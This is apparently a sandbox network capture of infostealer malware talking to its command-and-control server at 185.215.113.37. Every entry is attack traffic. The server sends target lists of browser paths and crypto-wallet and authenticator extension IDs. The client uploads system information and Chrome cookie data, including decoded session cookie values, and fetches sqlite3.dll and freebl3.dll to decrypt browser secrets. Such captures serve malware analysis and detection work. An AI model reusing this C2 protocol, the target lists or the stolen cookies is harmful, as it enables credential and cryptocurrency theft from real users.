Oct 24, 2024 15:09:06.501367092 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 24, 2024 15:09:06.502933025 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJ Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"plugins------BGCAFHCAKFBFIECAFIIJ--
Oct 24, 2024 15:09:06.787502050 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 24, 2024 15:09:06.787564039 CEST	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 24, 2024 15:09:06.787636042 CEST	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 24, 2024 15:09:06.787673950 CEST	212	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8
Oct 24, 2024 15:09:06.787704945 CEST	1236	IN	Data Raw: 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d 6c 6d 5a 57 5a 72 59 57 70 6e 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 Data Ascii: VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3w
Oct 24, 2024 15:09:06.787739992 CEST	1236	IN	Data Raw: 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d Data Ascii: aWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGF
Oct 24, 2024 15:09:06.787781000 CEST	124	IN	Data Raw: 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 Data Ascii: aWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdv
Oct 24, 2024 15:09:06.787812948 CEST	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Oct 24, 2024 15:09:06.787848949 CEST	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Oct 24, 2024 15:09:06.789855957 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEGDAEHIEHIDHJDAAK Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 2d 2d 0d 0a Data Ascii: ------CFIEGDAEHIEHIDHJDAAKContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------CFIEGDAEHIEHIDHJDAAKContent-Disposition: form-data; name="message"fplugins------CFIEGDAEHIEHIDHJDAAK--
Oct 24, 2024 15:09:07.073824883 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 24, 2024 15:09:07.091784000 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 185.215.113.37 Content-Length: 7135 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 15:09:07.091842890 CEST	7135	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 24, 2024 15:09:07.903821945 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 15:09:07.904753923 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 15:09:08.185786009 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 24, 2024 15:09:09.413775921 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJK Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------BGCBGCAFIIECBFIDHIJK--
Oct 24, 2024 15:09:10.204466105 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 15:09:10.520267963 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFII Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="file"------JKFHIIEHIEGDHJJJKFII--
Oct 24, 2024 15:09:11.303807974 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 15:09:12.219427109 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="file"------BFHJECAAAFHIJKFIJEGC--
Oct 24, 2024 15:09:13.108099937 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 15:09:13.527700901 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 15:09:13.811064005 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 